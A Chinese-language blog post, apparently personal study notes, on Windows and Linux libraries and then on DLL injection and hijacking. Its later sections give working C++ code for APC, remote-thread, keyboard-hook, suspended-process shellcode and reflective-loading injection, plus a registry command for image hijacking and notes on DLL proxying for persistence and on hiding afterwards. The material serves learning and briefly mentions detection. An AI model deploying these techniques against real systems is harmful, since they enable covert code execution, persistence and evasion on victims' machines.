This page looks best with JavaScript enabled

DLL注入及DLL劫持简单学习

 ·  ☕ 14 min read · 👀... views

static library and dynamic library

静态库空间浪费
静态库对程序的更新、部署和发布页会带来麻烦

动态库在程序编译时并不会被连接到目标代码中,而是在程序运行是才被载入。不同的应用程序如果调用相同的库,那么在内存里只需要有一份该共享库的实例,规避了空间浪费问题。

  • 在Windows系统下的执行文件格式是PE格式,动态库需要一个DllMain函数做出初始化的入口,导出 extern “C” _declspec(dllexport) 导入 extern “C” _declspec(dllimport)

  • Linux下gcc编译的执行文件默认是ELF格式,不需要初始化入口,亦不需要函数做特别的声明,编写比较方便。

静态库对应的lib文件叫静态库,动态库对应的lib文件叫导入库。实际上静态库本身就包含了实际执行代码、符号表等等,而对于导入库而言,其实际的执行代码位于动态库中,导入库只包含了地址符号表等,确保程序找到对应函数的一些基本地址信息。

Linux 静态链接库

1
2
3
4
5
6
7
# gen StaticMath.o
g++ -c StaticMath.cpp
# gen libstaticmath.a
ar -crv libstaticmath.a StaticMath.o
# use libstaticmath.a
g++ TestStaticLibrary.cpp -L../StaticLibrary -lstaticmath
g++ TestStaticLibrary.cpp ../StaticLibrary/libstaticmath.a

Windows 静态链接库

1
2
3
4
5
6
7
8
# gen StaticMath.obj
cl /c StaticMath.cpp
# gen StaticMath.lib
lib StaticMath.obj
# 属性配置->常规->配置类型->应用程序(.exe)/动态库(.dll)/静态库(.lib)
# use StaticMath.lib
# 引用
# 属性配置->链接器->[(常规->附加库目录)&(输入->附加依赖项目)] or (命令行->添加完整路径)

Linux 动态链接库

1
2
3
4
5
6
7
# -fPIC(position independent code) -shared 共享库
g++ -fPIC -shared -o libdynmath.so DynamicMath.cpp
# use libdynmath.so
edit /etc/ld.so.conf.d/
## or
sudo cp libdynmath.so /usr/lib
g++ TestDynamicLibrary.cpp -L../DynamicLibrary -ldynmath

Windows 动态链接库

1
2
#include "DynamicMath.h"
DynamicMath::add(a, b)

显式调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# linux
#include <dlfcn.h>
void * dlopen( const char * pathname, int mode )
void* dlsym(void* handle,const char* symbol)	# 函数地址及变量地址
int dlclose (void *handle)

# win
#LoadLibrary加载DLL、GetProcAddress获取导出函数的函数指针、用完FreeLibrary
HMODULE hMod = LoadLibrary(DLL路径)

typedef int(*ADD_IMPORT) (int a,int b);
ADD_IMPORT add_proc = (ADD_IMPORT) GetProcAddress(hMod,"Add");
int result = add_proc(1,2);

因为C++的name mangling,用extern “C"声明[非成员]函数 使用函数名作符号名

Dll injection

dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。

应用程序一般会在以下情况使用dll注入技术来完成某些功能:
1.为目标进程添加新的“实用”功能;
2.需要一些手段来辅助调试被注入dll的进程;
3.为目标进程安装钩子程序(API Hook);

注入dll的原则是值在需要的时间才注入我们的dll,并在不需要时及时卸载。

Injecting DLL with remote thread context patching

注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

中AppInit_DLLs键的值可以是一个dll的文件名或一组dll的文件名(通过逗号或空格来分隔)

LoadAppInit_DLLs为1时表示AppInit_DLLs键有效

这两个键值设定后,当应用程序启动并加载User32.dll时,会获得上述注册表键的值,并调用LoadLibrary来调用这些字符串中指定的每一个dll。这时每个被载入的dll可以完成相应的初始化工作。但是需要注意的是,由于被注入的dll是在进程生命期的早期被载入的,因此这些dll在调用函数时应慎重。调用Kernel32.dll中的函数应该没有问题,因为Kernel32.dll是在User32.dll载入前已被加载。但是调用其他的dll中的函数时应当注意,因为进程可能还未载入相应的dll,严重时可能会导致蓝屏。

Image hijack

Image File Execution Options子项的Debugger选项会在对应程序被点击执行时调用对应程序为调试器,但是如果是正常程序就相当被劫持了。再次运行notepad.exe会跳出计算器

1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d C:\Windows\System32\calc.exe

执行需要管理员权限,执行时杀软都会报毒

image hijack

至于新型利用 中说的新静默关闭启动监视器的劫持方式无论在win10还是win7中都没有复现成功

调试器可以在被调试进程中执行很多特殊操作,操作系统载入一个被调试程序的时候,会在被调试的主线程尚未开始执行任何代码前,自动通知调试器(用来调试被调试进程的进程),这时调试器可以将一些代码注入到被调试进程的地址空间中,保存被调试进程的CONTEXT结构,修改EIP指向我们注入的代码的起始位置执行这些代码。最后再让被调试的进程恢复原来的CONTEXT,继续执行。整个过程对被调试的进程而言好像没发生任何事情。

APC injection

APC(Asynchronous Procedure Call) 注入原理

1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。

首先需要一个被注入的程序,调用SleepEx使其挂起

1
2
3
4
5
6
7
8
DWORD SleepEx(	// synchapi.h
  [in] DWORD dwMilliseconds,	// 毫秒数
  [in] BOOL  bAlertable			// FALSE,则函数在超时期限过后才返回 True 会在超时时间已过或调用APC函数时返回
);
挂起当前线程,直到满足指定条件。当发生以下情况之一时,执行恢复:
1.调用 I/O 完成回调函数。
2.异步过程调用 (APC) 排队到线程。
3.超时间隔已过。
1
2
3
4
5
6
DWORD QueueUserAPC(	// processthreadsapi.h
  [in] PAPCFUNC  pfnAPC,	// 待执行的函数指针
  [in] HANDLE    hThread,	// A handle to the thread. The handle must have the THREAD_SET_CONTEXT access right.
  [in] ULONG_PTR dwData		// 传递给执行函数的单个参数
);
将用户模式APC对象添加到指定线程的APC队列中
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include "stdafx.h"
#include <string>
#include<windows.h>
#include<shlwapi.h>
#include<tlhelp32.h>
#include<winternl.h>
#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"ntdll.lib")
using namespace std;
//根据进程名获取PID
DWORD GetPidFormName(wstring wsProcessname)
{
    HANDLE hSnaoshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnaoshot == INVALID_HANDLE_VALUE)
    {
        return false;
    }
    PROCESSENTRY32W pe = { sizeof(pe) };
    BOOL bok;
    for (bok = Process32FirstW(hSnaoshot, &pe); bok; bok = Process32NextW(hSnaoshot,&pe))
    {
        wstring wsNowProcName = pe.szExeFile;
        if (StrStrI(wsNowProcName.c_str(), wsProcessname.c_str()) != NULL)
        {
            CloseHandle(hSnaoshot);
            return pe.th32ProcessID;
        }
    }
    CloseHandle(hSnaoshot);
    return 0;
}
//dll 文件注入到进程wsProcessname
BOOL Injection_APC(const wstring &wsProcessname, const WCHAR wcCacheInDllPath[])
{
    DWORD dwProcessId = GetPidFormName(wsProcessname);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess)
    {
        return FALSE;
    }
    PVOID lpData = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD dwRet;
    if (lpData)
    {
        //在远程进程申请空间写入待注入dll 的路径
        WriteProcessMemory(hProcess, lpData, (LPVOID)wcCacheInDllPath,MAX_PATH, &dwRet);
        CloseHandle(hProcess);
    }
    //开始注入
    THREADENTRY32 te = { sizeof(te) };
    HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);//遍历系统中所有线程
    if (handleSnap == INVALID_HANDLE_VALUE)
    {
        return false;
    }
    bool bstat = false;
    if (Thread32First(handleSnap, &te))
    {
        do {
            if (te.th32OwnerProcessID == dwProcessId)
            {
                HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                if (handleThread)
                {
                    DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, handleThread, (ULONG_PTR)lpData);
                }
                if (dwRet > 0)
                {
                    bstat = TRUE;
                }
                CloseHandle(handleThread);
            }
        } while (Thread32Next(handleSnap, &te));
        CloseHandle(handleSnap);
        return bstat;
    }

}
int main()
{
    Injection_APC(L"APCInjection.exe", L"APCDLL.dll");
    return 0;
}

image-20220123001739815

如果是注入shellcode的话直接以shellcode的指针为如何函数即可

QueueUserAPC((PAPCFUNC)ShellCodePTR, handleThread, NULL);

CreateRemoteThread[Ex]

用到<tlhelp32.h>头文件中CreateToolhelp32Snapshot 方法,当指定TH32CS_SNAPPROCESS时可以保存系统中所有进程信息便于遍历。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HANDLE CreateRemoteThreadEx(
	进程句柄,
    NULL,
    栈大小0默认,
    待线程执行的函数指针,
    传给函数的参数,
    控制线程创建的标志0创建立即执行,
    属性列表,
    接收线程标识符的变量指针NULL不返回
)
// CreateRemoteThread Use the CreateRemoteThreadEx function to create a thread that runs in the virtual address space of another process and optionally specify extended attributes.
// 参数只少第七个 (属性列表)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 注入函数,同时返回值为是否注入成功,默认返回成功
BOOL Inject(LPCTSTR DLLPath, DWORD ProcessID)
{
	// 定义一个句柄获取目标进程的所有权限,包括子进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, ProcessID);
	// 判读是否获取到
	if (!hProcess)
		return FALSE;
	// 计算一下获取到的DLLpath究竟有多长,要在内存空间中申请内存来存放它,注意+1,为\0
	SIZE_T PathSize = (_tcslen(DLLPath) + 1) * sizeof(TCHAR); // 宽字节
	// 在进程中申请内存存放此DLLpath
	LPVOID StartAddress = VirtualAllocEx(hProcess, NULL, PathSize, MEM_COMMIT, PAGE_READWRITE);
	// 如果未能获取到地址,返回失败
	if (!StartAddress)
		return FALSE;
	// 获取到地址则将DLLPath写入此地址
	if (!WriteProcessMemory(hProcess, StartAddress, DLLPath, PathSize, NULL))
		return FALSE;
	// 获取LoadLibrary的入口点地址,需要进行强制类型转换
	PTHREAD_START_ROUTINE pfnStartAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryW");
	// 在这里获取到的地址,在目标进程中也一样,因此直接传递过去即可
	// 先判断是否获取到
	if (!pfnStartAddress)
		return FALSE;
	// 最重要的一步,创建远程线程,首先获取句柄,createremotethreadex函数只在win7以上系统有
	HANDLE hThread = CreateRemoteThreadEx(hProcess, NULL, NULL, pfnStartAddress, StartAddress, NULL, NULL, NULL);
	// 判断线程是否创建成功
	if (!hThread)
		return FALSE;
	// 最后等待线程结束,然后清理线程和进程
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);
	return TRUE;
}

// 获取进程,其参数为进程名——在进程列表中获取我们想要的参数
DWORD ProcessFind(LPCTSTR Exename)
{
	// 第一个参数只获取进程名
	HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	// 对获取的进程进行判断
	if (!hProcess)
		return FALSE;
	// 获取成功
	PROCESSENTRY32 info;
	info.dwSize = sizeof(PROCESSENTRY32);
	if (!Process32First(hProcess, &info))
		return FALSE;
	while (true) // 遍历进程中的所有项
	{
		// 判断是否与所给进程名相符,就是输入的进程名
		if (_tcscmp(info.szExeFile, Exename) == 0)
			// 相符的话返回该进程的PID
			return info.th32ProcessID;
		// 如果遍历了整个进程列表都没有找到,那么返回FALSE
		if (!Process32Next(hProcess, &info))
			return FALSE;
	}
	// 函数默认返回FALSE
	return FALSE;
}

CreateRemoteThreadEx

SetWindowsHook[Ex]

优点是注入简单,缺点是只能对windows消息进行Hook并注入dll,而且注入dll可能不是立即被注入,因为这需要相应类型的事件发生

微软官方文档中有SetWindowsHookExA和SetWindowsHookExW两个接口,并且描述文档一模一样,区别可以在源码中看出来

1
2
3
4
5
#ifdef UNICODE
#define SetWindowsHookEx  SetWindowsHookExW
#else
#define SetWindowsHookEx  SetWindowsHookExA
#endif // !UNICODE
1
2
3
4
5
6
HHOOK SetWindowsHookExA(
  [in] int       idHook,	// 钩子类型 WH_KEYBOARD 2 鼠标消息7 WinUser.h
  [in] HOOKPROC  lpfn,		// 钩子函数的起始地址
  [in] HINSTANCE hmod,		// DLL handle  如果代码在当前进程中并且下一个参数指定当前进程创建的线程 则NULL
  [in] DWORD     dwThreadId	// 与挂钩过程关联的线程的标识符 如果0 则与所有线程关联 "全局钩子"
);
1
2
3
4
// 取消挂钩
BOOL UnhookWindowsHookEx(
  [in] HHOOK hhk
);

拦截发送到notepad程序的键盘事件,每到一个事件就弹窗。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <windows.h>
typedef  void(*PFNHOOKSTART)();
typedef  void(*PFNHOOKSTOP)();
int main()
{
    HMODULE Hmod = LoadLibraryA("SetWindowsHook.dll");
    PFNHOOKSTART pHookStart = (PFNHOOKSTART)GetProcAddress(Hmod, "HookStart");
    PFNHOOKSTOP pHookStop = (PFNHOOKSTOP)GetProcAddress(Hmod, "HookStop");
    pHookStart();
    // printf("print 'q' to quite!\n");
    // while (_getch() != 'q');
    // pHookStop();
    // FreeLibrary(Hmod);
    return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>

#pragma warning(disable : 4996)
HHOOK ghHook = NULL;
HINSTANCE ghInstance = NULL;
LRESULT CALLBACK KeyboardProc(
    _In_ int    code,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    TCHAR szPath[MAX_PATH] = { 0, };
    TCHAR sProcessName[MAX_PATH] = { 0, };
    if (code == 0 && !(lParam & 0x80000000))    //如果是释放按键
    {
        GetModuleFileName(NULL, szPath, MAX_PATH);
        _wsplitpath(szPath, NULL, NULL, sProcessName, NULL);
        if (0 == _wcsicmp(sProcessName, L"notepad"))    //如果进程名是notepad
        {
            MessageBox(NULL, L"ruokeqx", L"hello", NULL);
            return 1;   //删除消息,不再往下传递
        }
    }
    return CallNextHookEx(ghHook, code, wParam, lParam);    //继续传递消息
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        ghInstance = hModule;//获得本实例的模块句柄
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C"
{
    __declspec(dllexport) void HookStart()
    {
        ghHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ghInstance, 0);
    }
    __declspec(dllexport) void HookStop()
    {
        if (ghHook)
        {
            UnhookWindowsHookEx(ghHook);
            ghHook = NULL;
        }
    }
}

SetWindowsHook

CreateProcess/OpenThread context patching

两者都是利用挂起状态进行注入,思路是挂起时写入一段保存挂起状态ip及dll路径及加载函数地址的汇编,将ip改为汇编入口地址,进入汇编加载完dll后再恢复状态。

这种方式类似调试器注入,要求目标进程是注入者进程的子进程,CreateProcess()这个API第六个参数设置为CREATE_SUSPENDED,进而创建一个挂起状态的进程,这样创建的子进程并不会开始执行且EIP指向ntdll.dll的RtlUserThreadStart函数的开始位置,利用这个进程状态进行DLL注入,然后用ResumeThread()函数恢复进程。

1
2
3
4
1.保存所有寄存器的值;
2.将dll路径首地址压栈;
3.调用LoadLibrary函数;
4.恢复所有寄存器的值;

还有相同的remote thread context patching,只是一个创建线程 一个创建进程

image-20220123004100663

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
#include <windows.h>
#include <stdio.h>
#pragma warning(disable : 4996) 
  
//在子进程创建挂起时注入dll
//hProcess      被创建时挂起的进程句柄
//hThread       进程中被挂起的线程句柄
//szDllPath     被注入的dll的完整路径
BOOL StartHook(HANDLE hProcess, HANDLE hThread, TCHAR *szDllPath)
{
    BYTE ShellCode[30 + MAX_PATH * sizeof(TCHAR)] =
    {
        0x60,               //pushad
        0x9c,               //pushfd
        0x68,0xaa,0xbb,0xcc,0xdd,   //push xxxxxxxx(xxxxxxxx的偏移为3)
        0xff,0x15,0xdd,0xcc,0xbb,0xaa,  //call [addr]([addr]的偏移为9)
        0x9d,               //popfd
        0x61,               //popad
        0xff,0x25,0xaa,0xbb,0xcc,0xdd,  //jmp [eip]([eip]的偏移为17)
        0xaa,0xaa,0xaa,0xaa,        //保存loadlibraryW函数的地址(偏移为21)
        0xaa,0xaa,0xaa,0xaa,        //保存创建进程时被挂起的线程EIP(偏移为25)
        0,              //保存dll路径字符串(偏移为29)
    };
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_ALL;
    if (!GetThreadContext(hThread, &ctx))
    {
        printf("GetThreadContext() ErrorCode:[0x%08x]\n", GetLastError());
        return FALSE;
    }
    //在目标进程内存空间调拨一块可执行的内存
    LPVOID LpAddr = VirtualAllocEx(hProcess, NULL, 30 + MAX_PATH * sizeof(TCHAR), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (LpAddr == NULL)
    {
        printf("VirtualAllocEx() ErrorCode:[0x%08x]\n", GetLastError());
        return FALSE;
    }
    //获得LoadLibraryW函数的地址
    DWORD LoadDllAAddr = (DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    if (LoadDllAAddr == NULL)
    {
        printf("GetProcAddress() ErrorCode:[0x%08x]\n", GetLastError());
        return FALSE;
    }
    printf("原始EIP=0x%08x\n", ctx.Eip);
    //写入dllpath
    memcpy((char*)(ShellCode + 29), szDllPath, MAX_PATH);
    //写入push xxxxxxxx
    *(DWORD*)(ShellCode + 3) = (DWORD)LpAddr + 29;
    //写入loadlibraryA地址
    *(DWORD*)(ShellCode + 21) = LoadDllAAddr;
    //写入call [addr]的[addr]
    *(DWORD*)(ShellCode + 9) = (DWORD)LpAddr + 21;
    //写入原始eip
    *(DWORD*)(ShellCode + 25) = ctx.Eip;
    //写入jmp [eip]的[eip]
    *(DWORD*)(ShellCode + 17) = (DWORD)LpAddr + 25;
    //把shellcode写入目标进程
    if (!WriteProcessMemory(hProcess, LpAddr, ShellCode, 30 + MAX_PATH * sizeof(TCHAR), NULL))
    {
        printf("WriteProcessMemory() ErrorCode:[0x%08x]\n", GetLastError());
        return FALSE;
    }
    //修改目标进程的EIP,执行被注入的代码
    ctx.Eip = (DWORD)LpAddr;
    if (!SetThreadContext(hThread, &ctx))
    {
        printf("SetThreadContext() ErrorCode:[0x%08x]\n", GetLastError());
        return FALSE;
    }
    printf("修改后EIP=0x%08x\n", ctx.Eip);
    return TRUE;
};
  
int main()
{
    STARTUPINFO sti;
    PROCESS_INFORMATION proci;
    memset(&sti, 0, sizeof(STARTUPINFO));
    memset(&proci, 0, sizeof(PROCESS_INFORMATION));
    sti.cb = sizeof(STARTUPINFO);
    // 子进程的名字及启动参数
    wchar_t ExeName[MAX_PATH] = L"C:\\Software\\ListaryPortable\\Listary.exe";
    // 被注入的dll的完整路径
    wchar_t DllName[MAX_PATH] = L"C:\\Users\\ruokeqx\\source\\repos\\InjectionDemo\\Debug\\APCDLL.dll";
    if (CreateProcess(NULL, ExeName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sti, &proci) ==NULL)
    {
        printf("CreateProcess() ErrorCode:[0x%08x]\n", GetLastError());
        getchar();
        return 0;
    }
    if (!StartHook(proci.hProcess, proci.hThread, DllName))
    {
        TerminateProcess(proci.hProcess, 0);
        printf("Terminated Process\n");
        getchar();
        return 0;
    }
    ResumeThread(proci.hThread);
    CloseHandle(proci.hProcess);
    CloseHandle(proci.hThread);
    return 0;
}

image-20220123010958223

依赖可信进程注入

首先将a.dll注入到诸如Services.exe等权限较高的进程中,然后利用a.dll将b.dll远程线程注入到待注入进程中

利用完成后为影藏可以使用FreeLibraryAndExitThread(),其将dll自身卸载掉并且退出线程。

image-20220122015252720

ComRes注入/输入法注入

Reflective DLL Injection

Reflective DLL injection is a technique that allows an attacker to inject a DLL’s into a victim process from memory rather than disk.

从内存注入到进程中而非磁盘。

主要流程是读取dll原始数据并解析dll头并在内存中写入对应数据,然后执行对应内存中的入口函数即可。

下面是模拟核心部分,效果是执行程序以attach进入dll入口

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <iostream>
#include <Windows.h>

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
	// get this module's image base address
	PVOID imageBase = GetModuleHandleA(NULL);

	// load DLL into memory
	HANDLE dll = CreateFileA("APCDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	DWORD64 dllSize = GetFileSize(dll, NULL);
	LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
	DWORD outSize = 0;
	ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

	// get pointers to in-memory DLL headers
	PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
	SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

	// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
	//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// get delta between this module's image base and the DLL that was read into memory
	DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

	// copy over DLL image headers to the newly allocated space for the DLL
	std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

	// copy over DLL image sections to the newly allocated space for the DLL
	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
	for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
	{
		LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
		LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
		std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
		section++;
	}

	// perform image base relocations
	IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
	DWORD relocationsProcessed = 0;

	while (relocationsProcessed < relocations.Size)
	{
		PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
		relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
		DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
		PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

		for (DWORD i = 0; i < relocationsCount; i++)
		{
			relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

			if (relocationEntries[i].Type == 0)
			{
				continue;
			}

			DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
			DWORD_PTR addressToPatch = 0;
			ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
			addressToPatch += deltaImageBase;
			std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
		}
	}

	// resolve import address table
	PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
	LPCSTR libraryName = "";
	HMODULE library = NULL;

	while (importDescriptor->Name != NULL)
	{
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
		library = LoadLibraryA(libraryName);

		if (library)
		{
			PIMAGE_THUNK_DATA thunk = NULL;
			thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);

			while (thunk->u1.AddressOfData != NULL)
			{
				if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
				{
					LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
					thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
				}
				else
				{
					PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
					DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
					thunk->u1.Function = functionAddress;
				}
				++thunk;
			}
		}

		importDescriptor++;
	}

	// execute the loaded DLL
	DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
	(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

	CloseHandle(dll);
	HeapFree(GetProcessHeap(), 0, dllBytes);

	return 0;
}

Reflection DLL Injection可以用 volatility插件malfind检测

1
volatility -f /mnt/memdumps/w7-reflective-dll.bin malfind --profile Win7SP1x64

Dll hijacking&proxying

dll代理是特殊的dll劫持,其原理图如下,本质是个wrapper,将正常的执行重定向到真的dll,然后wrapper添加额外的功能,load的时候程序先load proxy,proxy再load real dll。

DLL Proxying is achieved through a DLL Wrapper. The idea is very simple and quite self-explanatory at this point. A DLL Wrapper consists in redirecting all the functions to the original DLL using forwarders. In a typical DLL, the Export Table contains a list of addresses that point to the code of each exported function inside the PE file. But, there is a second option: it can also contain Forwarders. Instead of referencing some code inside the DLL itself, a Forwarder points to a string, which gives the name (or the ordinal number) of the exported function and the name of the DLL in which it can be found (e.g.: FOO.DummyFunction or FOO.#47). This feature is exactly what we need in order to transparently redirect all the functions to the orignal DLL as described on this diagram.

dp02_dll-proxy

Context menu Persistance

因为Context menu自动运行的特征,通过explorer.exe加载的dll可以实现持久化

使用Sysinternals中程序Autoruns可以看到ContextMenu加载的dll

创建一个proxy dll

https://github.com/rek7/dll-hijacking

1
python parse.py -d 7-zip.dll

生成头文件保存在definitions.h中,只要实现dllmain.cpp然后编译出dll即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Program Files\7-Zip> ls


    目录: C:\Program Files\7-Zip


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2022/1/20     21:10            Lang
-a---        2021/12/27     18:00     112890 7-zip.chm
-a---         2022/1/20     21:40      58880 7-zip.dll
-a---        2021/12/26     22:00      62976 7-zip32.dll
-a---        2021/12/26     22:00      93696 7-zip_.dll
-a---        2021/12/26     22:00    1710080 7z.dll
